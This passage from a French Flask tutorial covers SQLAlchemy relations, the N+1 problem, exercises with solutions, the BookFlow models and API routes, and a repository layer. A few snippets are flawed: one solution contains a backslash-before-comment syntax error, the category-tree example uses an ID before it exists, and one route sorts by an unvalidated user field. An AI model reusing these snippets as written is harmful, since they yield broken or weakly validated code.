  from sqlalchemy.orm import joinedload
  livres = Livre.query.options(joinedload(Livre.categories)).all()
  for livre in livres:
      print(livre.titre, [c.nom for c in livre.categories])
      # Les catégories sont déjà chargées (une seule requête avec JOIN)

CAS 2 — TABLE PIVOT AVEC DONNÉES SUPPLÉMENTAIRES :

  # Quand la table pivot a des colonnes supplémentaires
  # (date d'association, ordre, etc.) -> utiliser un vrai modèle

  class LivreCategorie(db.Model):
      """Table pivot avec données supplémentaires."""
      __tablename__ = 'livres_categories'

      livre_id = db.Column(db.Integer, db.ForeignKey('livres.id'), primary_key=True)
      categorie_id = db.Column(db.Integer, db.ForeignKey('categories.id'), primary_key=True)

      # Données supplémentaires
      date_association = db.Column(db.DateTime, default=datetime.utcnow)
      ordre = db.Column(db.Integer, default=0)          # Ordre d'affichage
      est_principale = db.Column(db.Boolean, default=False)  # Genre principal

      # Relations vers les deux côtés
      livre = db.relationship('Livre', back_populates='livre_categories')
      categorie = db.relationship('Categorie', back_populates='livre_categories')

  class Livre(db.Model):
      livre_categories = db.relationship('LivreCategorie', back_populates='livre',
                                          cascade='all, delete-orphan')

      @property
      def categories(self):
          """Retourne les catégories (triées par ordre)."""
          return [lc.categorie for lc in
                  sorted(self.livre_categories, key=lambda x: x.ordre)]

      @property
      def categorie_principale(self):
          """Retourne la catégorie principale."""
          for lc in self.livre_categories:
              if lc.est_principale:
                  return lc.categorie
          return None


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  ONE-TO-ONE ET RELATIONS AUTO-RÉFÉRENTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ONE-TO-ONE :

  class Utilisateur(db.Model):
      __tablename__ = 'utilisateurs'
      id = db.Column(db.Integer, primary_key=True)
      email = db.Column(db.String(254), unique=True)

      # Relation One-to-One vers ProfilDetaille
      profil = db.relationship(
          'ProfilDetaille',
          backref='utilisateur',
          uselist=False,          # False -> One-to-One (pas une liste)
          cascade='all, delete-orphan'
      )

  class ProfilDetaille(db.Model):
      __tablename__ = 'profils_details'

      id = db.Column(db.Integer, primary_key=True)
      user_id = db.Column(
          db.Integer,
          db.ForeignKey('utilisateurs.id', ondelete='CASCADE'),
          unique=True,  # Garantit le One-to-One au niveau BDD
          nullable=False
      )

      telephone = db.Column(db.String(20))
      adresse = db.Column(db.Text)
      ville = db.Column(db.String(100))
      pays = db.Column(db.String(2), default='SN')  # Code ISO pays
      date_naissance = db.Column(db.Date)
      preferences = db.Column(db.JSON, default=dict)

  # Utilisation :
  user = Utilisateur.query.get(1)
  user.profil.telephone = "+221 77 000 0000"  # Accès direct

RELATION AUTO-RÉFÉRENTE (arbre de catégories) :

  class Categorie(db.Model):
      __tablename__ = 'categories'
      id = db.Column(db.Integer, primary_key=True)
      nom = db.Column(db.String(100), nullable=False)

      # Clé étrangère vers elle-même
      parent_id = db.Column(
          db.Integer,
          db.ForeignKey('categories.id'),
          nullable=True  # NULL = catégorie racine
      )

      # Relation auto-référente
      sous_categories = db.relationship(
          'Categorie',
          backref=db.backref('parent', remote_side=[id]),
          lazy='dynamic'
      )

  # Utilisation :
  # Science -> Sciences Humaines -> Philosophie
  #         -> Sciences Naturelles -> Biologie

  sciences = Categorie(nom='Sciences')
  db.session.add(sciences)
  db.session.flush()  # Pour avoir l'ID

  sh = Categorie(nom='Sciences Humaines', parent_id=sciences.id)
  philo = Categorie(nom='Philosophie', parent_id=sh.id)

  # Navigation :
  print(philo.parent.nom)              # -> "Sciences Humaines"
  print(sh.parent.nom)                 # -> "Sciences"
  print(sciences.sous_categories.all()) # -> [Sciences Humaines, ...]


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  LE PROBLÈME N+1 ET SA SOLUTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

LE PROBLÈME N+1 :
  Un problème de performance très courant avec les ORM.

  # Code naïf — N+1 queries
  livres = Livre.query.all()          # 1 requête pour les livres

  for livre in livres:
      print(livre.categories)         # 1 requête par livre !
  # Si 100 livres -> 101 requêtes ! [X]

SOLUTIONS :

  # Solution 1 : joinedload (JOIN SQL)
  from sqlalchemy.orm import joinedload

  livres = Livre.query.options(
      joinedload(Livre.categories)
  ).all()
  # -> 1 seule requête avec JOIN [OK]

  # Solution 2 : subqueryload (sous-requête)
  from sqlalchemy.orm import subqueryload

  livres = Livre.query.options(
      subqueryload(Livre.avis)
  ).all()
  # -> 2 requêtes (une pour les livres, une pour tous les avis)

  # Solution 3 : Chargement imbriqué
  livres = Livre.query.options(
      joinedload(Livre.categories),
      subqueryload(Livre.avis).joinedload(Avis.auteur)
  ).all()
  # -> Charge tout en quelques requêtes optimisées

  # Vérifier les requêtes SQL générées (en dev) :
  # app.config['SQLALCHEMY_ECHO'] = True -> affiche chaque SQL


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 20.1 : Crée les relations dans les modèles BookFlow :
    Livre -> Avis (One-to-Many), Utilisateur -> Avis (One-to-Many).
    Teste en créant un avis et en accédant à avis.livre et avis.auteur.

  Exercice 20.2 : Crée la table pivot livres_categories et la relation
    Many-to-Many entre Livre et Categorie.

  Exercice 20.3 : Écris les requêtes SQLAlchemy pour :
    a) Les 5 livres les mieux notés (avec la note moyenne)
    b) Les emprunts en cours avec les noms des utilisateurs
    c) Les livres qu'un utilisateur spécifique a empruntés

NIVEAU INTERMÉDIAIRE :
  Exercice 20.4 : Implémente une méthode Utilisateur.livres_lus() qui retourne
    la liste des livres que l'utilisateur a retournés (statut='retourne').

  Exercice 20.5 : Résous le problème N+1 dans une route qui liste les livres
    avec leurs catégories et leurs 3 derniers avis.

NIVEAU AVANCÉ :
  Exercice 20.6 : Implémente un système de recommandations simple :
    "Les utilisateurs qui ont emprunté X ont aussi emprunté Y."
    Écris la requête SQLAlchemy (avec JOIN et GROUP BY).


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 20.3 :

  from sqlalchemy import func

  # a) 5 livres les mieux notés
  top_livres = db.session.query(
      Livre,
      func.avg(Avis.note).label('note_moyenne'),
      func.count(Avis.id).label('nb_avis')
  ).join(Avis, Livre.id == Avis.livre_id)\
   .group_by(Livre.id)\
   .having(func.count(Avis.id) >= 3)  \  # Au moins 3 avis
   .order_by(func.avg(Avis.note).desc())\
   .limit(5).all()

  for livre, note, nb in top_livres:
      print(f"{livre.titre}: {note:.1f}/5 ({nb} avis)")

  # b) Emprunts en cours avec noms utilisateurs
  emprunts = db.session.query(
      Emprunt, Utilisateur.nom, Livre.titre
  ).join(Utilisateur, Emprunt.user_id == Utilisateur.id)\
   .join(Livre, Emprunt.livre_id == Livre.id)\
   .filter(Emprunt.statut == 'en_cours')\
   .all()

  for emprunt, nom_user, titre_livre in emprunts:
      print(f"{nom_user} -> {titre_livre} (retour: {emprunt.date_retour_prevue.date()})")

  # c) Livres empruntés par un utilisateur
  user_id = 1
  livres_empruntes = Livre.query.join(
      Emprunt, Livre.id == Emprunt.livre_id
  ).filter(Emprunt.user_id == user_id).distinct().all()

CORRIGÉ 20.6 — Recommandations :

  def recommander_livres(livre_id: int, limite: int = 5):
      """
      Recommande des livres via : "Ceux qui ont emprunté X ont aussi emprunté Y."
      """
      # Trouver les utilisateurs qui ont emprunté ce livre
      sous_requete = db.session.query(Emprunt.user_id).filter(
          Emprunt.livre_id == livre_id
      ).subquery()

      # Trouver les autres livres empruntés par ces utilisateurs
      recommandations = db.session.query(
          Livre,
          func.count(Emprunt.id).label('nb_co_emprunts')
      ).join(
          Emprunt, Livre.id == Emprunt.livre_id
      ).filter(
          Emprunt.user_id.in_(sous_requete),  # Mêmes utilisateurs
          Livre.id != livre_id,                # Pas le même livre
          Livre.disponible == True             # Disponibles seulement
      ).group_by(
          Livre.id
      ).order_by(
          func.count(Emprunt.id).desc()        # Les plus co-empruntés en premier
      ).limit(limite).all()

      return [(livre, nb) for livre, nb in recommandations]


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW AVEC VRAIE BASE DE DONNÉES           ║
║           Tous les modèles, migrations et l'API avec persistance réelle           ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STRUCTURE DES MODÈLES BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  app/models/
  ├── __init__.py      <- Exporte tous les modèles
  ├── base.py          <- BaseModel avec mixins
  ├── utilisateur.py   <- Modèle Utilisateur
  ├── livre.py         <- Modèle Livre
  ├── emprunt.py       <- Modèle Emprunt
  ├── avis.py          <- Modèle Avis
  └── categorie.py     <- Modèle Catégorie + table pivot

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  app/models/__init__.py
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/__init__.py
  # Exporter tous les modèles pour que SQLAlchemy et Flask-Migrate les connaissent

  from .livre import Livre
  from .utilisateur import Utilisateur
  from .emprunt import Emprunt
  from .avis import Avis
  from .categorie import Categorie, livres_categories

  # Rendre disponible depuis app.models :
  # from app.models import Livre, Utilisateur, Emprunt, Avis, Categorie

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  MODÈLES COMPLETS INTÉGRÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ── app/models/categorie.py ──

  from app import db

  # Table pivot Many-to-Many
  livres_categories = db.Table(
      'livres_categories',
      db.Column('livre_id', db.Integer,
                db.ForeignKey('livres.id', ondelete='CASCADE'), primary_key=True),
      db.Column('categorie_id', db.Integer,
                db.ForeignKey('categories.id', ondelete='CASCADE'), primary_key=True)
  )

  class Categorie(db.Model):
      __tablename__ = 'categories'

      id = db.Column(db.Integer, primary_key=True)
      nom = db.Column(db.String(50), nullable=False, unique=True)
      slug = db.Column(db.String(50), nullable=False, unique=True)
      description = db.Column(db.Text)
      couleur = db.Column(db.String(7), default='#6366f1')
      icone = db.Column(db.String(50), default='[DOCS]')
      ordre = db.Column(db.Integer, default=0)

      def to_dict(self):
          return {
              'id': self.id,
              'nom': self.nom,
              'slug': self.slug,
              'description': self.description,
              'couleur': self.couleur,
              'icone': self.icone,
              'nb_livres': len(self.livres)
          }

      def __repr__(self):
          return f'<Categorie {self.nom}>'

  ── app/models/avis.py ──

  from datetime import datetime, timezone
  from app import db

  class Avis(db.Model):
      __tablename__ = 'avis'
      __table_args__ = (
          db.CheckConstraint('note >= 1 AND note <= 5', name='check_note'),
          db.UniqueConstraint('user_id', 'livre_id', name='uq_avis_user_livre'),
      )

      id = db.Column(db.Integer, primary_key=True)
      user_id = db.Column(db.Integer, db.ForeignKey('utilisateurs.id',
                          ondelete='CASCADE'), nullable=False, index=True)
      livre_id = db.Column(db.Integer, db.ForeignKey('livres.id',
                           ondelete='CASCADE'), nullable=False, index=True)
      note = db.Column(db.Integer, nullable=False)
      commentaire = db.Column(db.Text, nullable=True)
      created_at = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))
      modifie_le = db.Column(db.DateTime(timezone=True), nullable=True)

      def to_dict(self):
          return {
              'id': self.id,
              'user_id': self.user_id,
              'livre_id': self.livre_id,
              'note': self.note,
              'commentaire': self.commentaire,
              'created_at': self.created_at.isoformat() if self.created_at else None,
              'auteur_nom': self.auteur.nom if self.auteur else None
          }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ROUTE API BOOKFLOW AVEC VRAIE BDD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/livres.py
  from flask import Blueprint, jsonify, request
  from sqlalchemy import func, or_
  from sqlalchemy.orm import joinedload
  from app import db
  from app.models import Livre, Categorie, Avis

  api_livres_bp = Blueprint('api_livres', __name__)

  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      # Paramètres de recherche et pagination
      page = request.args.get('page', 1, type=int)
      per_page = min(request.args.get('per_page', 10, type=int), 100)
      q = request.args.get('q', '').strip()
      genre = request.args.get('genre', '')
      disponible = request.args.get('disponible')
      sort = request.args.get('sort', 'titre')
      order = request.args.get('order', 'asc')

      # Construction de la requête
      query = Livre.query.options(joinedload(Livre.categories))

      # Filtres
      if q:
          terme = f'%{q}%'
          query = query.filter(or_(
              Livre.titre.ilike(terme),
              Livre.auteur.ilike(terme)
          ))
      if genre:
          query = query.filter(Livre.genre == genre)
      if disponible is not None:
          query = query.filter(Livre.disponible == (disponible.lower() == 'true'))

      # Tri
      champ = getattr(Livre, sort, Livre.titre)
      query = query.order_by(champ.desc() if order == 'desc' else champ.asc())

      # Pagination
      pagination = query.paginate(page=page, per_page=per_page, error_out=False)

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in pagination.items],
          'meta': {
              'total': pagination.total,
              'page': page,
              'per_page': per_page,
              'pages': pagination.pages,
              'has_next': pagination.has_next,
              'has_prev': pagination.has_prev
          }
      })

  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      livre = db.get_or_404(Livre, livre_id)
      return jsonify({'success': True, 'data': livre.to_dict(include_relations=True)})

  @api_livres_bp.route('/', methods=['POST'])
  def creer_livre():
      data = request.get_json(silent=True)
      if not data:
          return jsonify({'success': False, 'error': 'JSON requis'}), 400

      erreurs = {}
      if not data.get('titre', '').strip():
          erreurs['titre'] = 'Le titre est obligatoire'
      if not data.get('auteur', '').strip():
          erreurs['auteur'] = "L'auteur est obligatoire"
      if erreurs:
          return jsonify({'success': False, 'error': 'Validation', 'details': erreurs}), 400

      # Vérifier unicité ISBN
      if data.get('isbn'):
          existant = Livre.query.filter_by(isbn=data['isbn']).first()
          if existant:
              return jsonify({'success': False,
                             'error': f"ISBN {data['isbn']} déjà utilisé"}), 409

      livre = Livre(
          titre=data['titre'].strip(),
          auteur=data['auteur'].strip(),
          isbn=data.get('isbn'),
          pages=data.get('pages', 0),
          genre=data.get('genre', 'autre'),
          description=data.get('description'),
          prix=data.get('prix', 0),
          disponible=data.get('disponible', True)
      )
      db.session.add(livre)

      # Associer des catégories
      if data.get('categorie_ids'):
          cats = Categorie.query.filter(
              Categorie.id.in_(data['categorie_ids'])
          ).all()
          livre.categories.extend(cats)

      try:
          db.session.commit()
          return jsonify({
              'success': True,
              'message': f'Livre « {livre.titre} » créé',
              'data': livre.to_dict()
          }), 201
      except Exception as e:
          db.session.rollback()
          return jsonify({'success': False, 'error': 'Erreur interne'}), 500

  @api_livres_bp.route('/<int:livre_id>', methods=['PATCH'])
  def modifier_livre(livre_id):
      livre = db.get_or_404(Livre, livre_id)
      data = request.get_json(silent=True)
      if not data:
          return jsonify({'success': False, 'error': 'JSON requis'}), 400

      champs_modifiables = ['titre', 'auteur', 'isbn', 'pages', 'genre',
                            'description', 'prix', 'disponible']
      for champ in champs_modifiables:
          if champ in data:
              setattr(livre, champ, data[champ])

      try:
          db.session.commit()
          return jsonify({'success': True, 'data': livre.to_dict()})
      except Exception:
          db.session.rollback()
          return jsonify({'success': False, 'error': 'Erreur interne'}), 500

  @api_livres_bp.route('/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      livre = db.get_or_404(Livre, livre_id)
      try:
          db.session.delete(livre)
          db.session.commit()
          return '', 204
      except Exception:
          db.session.rollback()
          return jsonify({'success': False, 'error': 'Erreur interne'}), 500

  @api_livres_bp.route('/<int:livre_id>/avis', methods=['GET'])
  def get_avis_livre(livre_id):
      livre = db.get_or_404(Livre, livre_id)
      page = request.args.get('page', 1, type=int)
      pagination = livre.avis.order_by(Avis.created_at.desc()).paginate(
          page=page, per_page=10, error_out=False
      )
      note_moy = db.session.query(func.avg(Avis.note)).filter_by(
          livre_id=livre_id
      ).scalar()
      return jsonify({
          'success': True,
          'data': [a.to_dict() for a in pagination.items],
          'stats': {
              'note_moyenne': round(float(note_moy), 2) if note_moy else None,
              'nb_avis': pagination.total
          },
          'meta': {
              'page': page, 'pages': pagination.pages,
              'has_next': pagination.has_next
          }
      })

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  COMMANDES DE DÉMARRAGE DU PROJET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # 1. Activer l'environnement virtuel
  source venv/bin/activate

  # 2. Installer les dépendances
  pip install -r requirements.txt

  # 3. Configurer les variables d'environnement
  cp .env.example .env
  # Éditer .env avec tes valeurs

  # 4. Initialiser les migrations (première fois)
  flask db init

  # 5. Créer la première migration
  flask db migrate -m "Création initiale des tables"

  # 6. Appliquer les migrations
  flask db upgrade

  # 7. Peupler la BDD avec des données de test (optionnel)
  flask shell
  >>> from app.models import *
  >>> from app import db
  >>> # Créer des catégories
  >>> sf = Categorie(nom='Science-Fiction', slug='science-fiction', icone='[RAPIDE]')
  >>> fantasy = Categorie(nom='Fantasy', slug='fantasy', icone='[MAGE]')
  >>> db.session.add_all([sf, fantasy])
  >>> # Créer des livres
  >>> dune = Livre(titre='Dune', auteur='Frank Herbert', pages=900, genre='science-fiction')
  >>> db.session.add(dune)
  >>> db.session.commit()
  >>> dune.categories.append(sf)
  >>> db.session.commit()
  >>> print(f"Livre créé : {dune}")

  # 8. Lancer le serveur
  flask run


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 5 — BASE DE DONNÉES

  [DOCS] Tu as appris :
     -> Bases de données relationnelles : tables, colonnes, types, contraintes
     -> SQL fondamental : SELECT, INSERT, UPDATE, DELETE, JOIN, GROUP BY
     -> Injection SQL et protection par paramètres préparés
     -> SQLAlchemy ORM : configuration, session, commit, rollback
     -> Flask-Migrate : init, migrate, upgrade, downgrade
     -> Requêtes SQLAlchemy : filter, filter_by, order_by, paginate, first, count
     -> Fonctions d'agrégation : func.count, func.avg, func.max, group_by
     -> Modèles complets : colonnes, types, contraintes, méthodes métier
     -> Mixin et BaseModel : TimestampMixin, SoftDeleteMixin, CRUDMixin
     -> Relations One-to-Many : db.relationship, backref, ForeignKey
     -> Relations Many-to-Many : table pivot, secondary
     -> Relations One-to-One : uselist=False
     -> Relations auto-référentes : arbre de catégories
     -> Problème N+1 et solutions : joinedload, subqueryload
     -> BookFlow avec vraie BDD : tous les modèles et l'API complète

  -> Prochaine étape : Partie 6 — CRUD complet (Create, Read, Update, Delete)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 6 : CRUD COMPLET                         ║
║         Create, Read, Update, Delete avec SQLAlchemy — Niveau Professionnel       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 6 / 20
Chapitres      : 21 -> 24
Prérequis      : Parties 1 à 5 (HTTP, Flask, routing, templates, formulaires, BDD)
Projet fil     : BookFlow — API CRUD complète, professionnelle et testable

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 6
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 21 — CREATE : insérer des données avec validation et sécurité
  CHAPITRE 22 — READ   : lire, filtrer, paginer et optimiser les requêtes
  CHAPITRE 23 — UPDATE : modifier des données partiellement ou totalement
  CHAPITRE 24 — DELETE : supprimer avec sécurité, soft delete et audit

  PROJET FIL ROUGE — BookFlow CRUD API : architecture en couches complète

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 21 — CREATE : INSÉRER DES DONNÉES                           ║
║         De la requête HTTP à la persistance en base de données                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE LE CREATE ?
──────────────────────────
Le CREATE (C de CRUD) correspond à l'insertion de nouvelles données
en base. En HTTP, c'est la méthode POST.

CYCLE COMPLET D'UN CREATE PROFESSIONNEL :

  ┌─────────────────────────────────────────────────────────────────────┐
  │                    CYCLE CREATE PROFESSIONNEL                       │
  └─────────────────────────────────────────────────────────────────────┘

  1. CLIENT -> POST /api/v1/livres
     Body: {"titre": "Dune", "auteur": "Herbert", "pages": 900}

  2. ROUTE FLASK -> Reçoit la requête
     -> Vérifie Content-Type: application/json
     -> Extrait le JSON du body

  3. VALIDATION -> Vérifie les données
     -> Champs requis présents ?
     -> Types corrects ?
     -> Valeurs dans les plages acceptables ?
     -> Unicité (ISBN déjà pris ?)

  4. BUSINESS LOGIC -> Règles métier
     -> Appelle le service BookService.creer_livre()
     -> Le service appelle le Repository

  5. PERSISTENCE -> Sauvegarde en BDD
     -> Crée l'objet SQLAlchemy
     -> db.session.add() + commit()
     -> Gère les erreurs (rollback si exception)

  6. RÉPONSE -> Retourne au client
     -> 201 Created
     -> Body: le livre créé avec son id généré
     -> Header Location: /api/v1/livres/42


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  ARCHITECTURE EN COUCHES (PATTERN SERVICE-REPOSITORY)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En développement professionnel, on sépare les responsabilités en couches :

  ROUTE (Controller)   -> Reçoit la requête HTTP, valide, retourne la réponse
  SERVICE              -> Logique métier (règles business)
  REPOSITORY           -> Accès aux données (requêtes BDD)
  MODÈLE               -> Structure des données

POURQUOI CETTE ARCHITECTURE ?
  [OK] Testabilité : chaque couche est testable indépendamment
  [OK] Réutilisabilité : le service peut être appelé depuis l'API ET la CLI
  [OK] Maintenabilité : changer la BDD ne touche que le Repository
  [OK] Lisibilité : chaque fichier a une responsabilité claire

STRUCTURE BOOKFLOW :

  app/
  ├── routes/        <- Routes HTTP (Controllers)
  │   └── api/
  │       └── livres.py
  ├── services/      <- Logique métier
  │   └── livre_service.py
  ├── repositories/  <- Accès données
  │   └── livre_repository.py
  └── models/        <- Modèles SQLAlchemy
      └── livre.py


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LE REPOSITORY PATTERN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le Repository encapsule toutes les requêtes BDD pour un modèle donné.

  # app/repositories/livre_repository.py
  from typing import Optional, List, Tuple
  from sqlalchemy import or_, func
  from sqlalchemy.orm import joinedload
  from app import db
  from app.models import Livre, Categorie

  class LivreRepository:
      """
      Repository pour les opérations BDD sur les Livres.
      Encapsule toutes les requêtes SQLAlchemy.
      """

      @staticmethod
      def creer(
          titre: str,
          auteur: str,
          pages: int = 0,
          genre: str = 'autre',
          isbn: str = None,
          prix: float = 0.0,
          description: str = None,
          disponible: bool = True,
          categorie_ids: List[int] = None
      ) -> Livre:
          """
          Crée un nouveau livre en base.

          Args:
              titre, auteur       : Champs obligatoires
              pages, genre, isbn  : Champs optionnels
              categorie_ids       : Liste d'IDs de catégories à associer

          Returns:
              Le livre créé avec son ID

          Raises:
              ValueError : si données invalides
              IntegrityError : si contrainte BDD violée (ISBN dupliqué)
          """
          livre = Livre(
              titre=titre.strip(),
              auteur=auteur.strip(),
              pages=pages,
              genre=genre,
              isbn=isbn,
              prix=prix,
              description=description,
              disponible=disponible
          )
          db.session.add(livre)

          # Associer les catégories si fournies
          if categorie_ids:
              categories = Categorie.query.filter(
                  Categorie.id.in_(categorie_ids)
              ).all()
              livre.categories.extend(categories)

          db.session.flush()   # Obtenir l'ID sans committer
          return livre

      @staticmethod
      def trouver_par_id(livre_id: int) -> Optional[Livre]:
          """Retourne un livre par son ID, ou None."""
          return Livre.query.get(livre_id)

      @staticmethod
      def trouver_ou_404(livre_id: int) -> Livre:
          """Retourne un livre par ID ou lève une erreur 404."""
          return db.get_or_404(Livre, livre_id)

      @staticmethod
      def trouver_par_isbn(isbn: str) -> Optional[Livre]:
          """Retourne un livre par ISBN, ou None."""
          if not isbn:
              return None
          return Livre.query.filter_by(isbn=isbn).first()

      @staticmethod
      def isbn_existe(isbn: str, exclure_id: int = None) -> bool:
          """Vérifie si un ISBN est déjà utilisé."""
          query = Livre.query.filter_by(isbn=isbn)
          if exclure_id:
              query = query.filter(Livre.id != exclure_id)
          return query.first() is not None

      @staticmethod
      def lister(
          q: str = None,
          genre: str = None,
          disponible: bool = None,
          pages_min: int = None,
          pages_max: int = None,
          categorie_id: int = None,
          sort: str = 'titre',
          order: str = 'asc',
          page: int = 1,
          per_page: int = 10
      ):
          """
          Liste les livres avec filtres, tri et pagination.

          Returns:
              Objet Pagination SQLAlchemy
          """
          query = Livre.query.options(joinedload(Livre.categories))

          # Recherche textuelle
          if q and q.strip():
              terme = f'%{q.strip()}%'
              query = query.filter(
                  or_(
                      Livre.titre.ilike(terme),
                      Livre.auteur.ilike(terme),
                      Livre.description.ilike(terme)
                  )
              )

          # Filtres exacts
          if genre:
              query = query.filter(Livre.genre == genre)
          if disponible is not None:
              query = query.filter(Livre.disponible == disponible)

          # Filtres de plage
          if pages_min is not None:
              query = query.filter(Livre.pages >= pages_min)
          if pages_max is not None:
              query = query.filter(Livre.pages <= pages_max)

          # Filtre par catégorie (via jointure)
          if categorie_id:
              from app.models.categorie import livres_categories
              query = query.join(
                  livres_categories,
                  Livre.id == livres_categories.c.livre_id
              ).filter(
                  livres_categories.c.categorie_id == categorie_id
              )

          # Tri dynamique et sécurisé
          champs_autorises = {'titre', 'auteur', 'pages', 'prix', 'created_at'}
          sort = sort if sort in champs_autorises else 'titre'
          champ_tri = getattr(Livre, sort)
          query = query.order_by(
              champ_tri.desc() if order.lower() == 'desc' else champ_tri.asc()
          )

          # Pagination
          per_page = min(max(1, per_page), 100)  # Entre 1 et 100
          return query.paginate(page=page, per_page=per_page, error_out=False)

      @staticmethod
      def modifier(livre: Livre, **champs) -> Livre:
          """
          Modifie les champs fournis d'un livre existant.

          Args:
              livre  : L'objet Livre à modifier
              **champs : Les champs à modifier {nom: valeur}

          Returns:
              Le livre modifié
          """
          champs_modifiables = {
              'titre', 'auteur', 'isbn', 'pages', 'genre',
              'description', 'prix', 'disponible'
          }

          for champ, valeur in champs.items():
              if champ in champs_modifiables and valeur is not None:
                  setattr(livre, champ, valeur)

          return livre

      @staticmethod
      def supprimer(livre: Livre) -> None:
          """Supprime définitivement un livre de la BDD."""
          db.session.delete(livre)

      @staticmethod
      def statistiques() -> dict:
          """Retourne des statistiques sur les livres."""
          total = Livre.query.count()
          disponibles = Livre.query.filter_by(disponible=True).count()

          par_genre = db.session.query(
              Livre.genre,
              func.count(Livre.id).label('total'),
              func.avg(Livre.pages).label('pages_moyen')
          ).group_by(Livre.genre).all()

          return {
              'total': total,
              'disponibles': disponibles,
              'empruntes': total - disponibles,
              'par_genre': [
                  {'genre': g, 'total': t, 'pages_moyen': round(float(p), 0)}
                  for g, t, p in par_genre
              ]
          }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  LE SERVICE LAYER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le Service contient la logique métier (règles business).
Il orchestre les appels aux Repositories et garantit la cohérence.

  # app/services/livre_service.py
  from typing import Optional, Dict, Any
  from sqlalchemy.exc import IntegrityError
  from app import db
  from app.repositories.livre_repository import LivreRepository
  from app.models import Livre

  class LivreService:
      """
      Service de gestion des livres BookFlow.
      Contient toutes les règles métier liées aux livres.
      """

      def __init__(self):
          self.repo = LivreRepository()

      def creer_livre(self, data: Dict[str, Any]) -> Livre:
          """
          Crée un nouveau livre avec toutes les validations métier.

          Règles métier :
            - Titre et auteur sont obligatoires
            - L'ISBN doit être unique si fourni
            - Le prix ne peut pas être négatif
            - La combinaison titre+auteur devrait être unique

          Args:
              data : dict avec les données du livre

          Returns:
              Le livre créé

          Raises:
              ValueError : si validation échoue
              ConflitError : si ISBN déjà utilisé
          """
          # ── Validation des champs requis ──
          titre = str(data.get('titre', '')).strip()
          auteur = str(data.get('auteur', '')).strip()

          if not titre:
              raise ValueError("Le titre est obligatoire")
          if not auteur:
              raise ValueError("L'auteur est obligatoire")
          if len(titre) > 200:
              raise ValueError(f"Titre trop long ({len(titre)}/200 caractères)")
          if len(auteur) > 100:
              raise ValueError(f"Auteur trop long ({len(auteur)}/100 caractères)")

          # ── Validation du type des champs numériques ──
          pages = data.get('pages', 0)
          if pages is not None:
              try:
                  pages = int(pages)
                  if pages < 0:
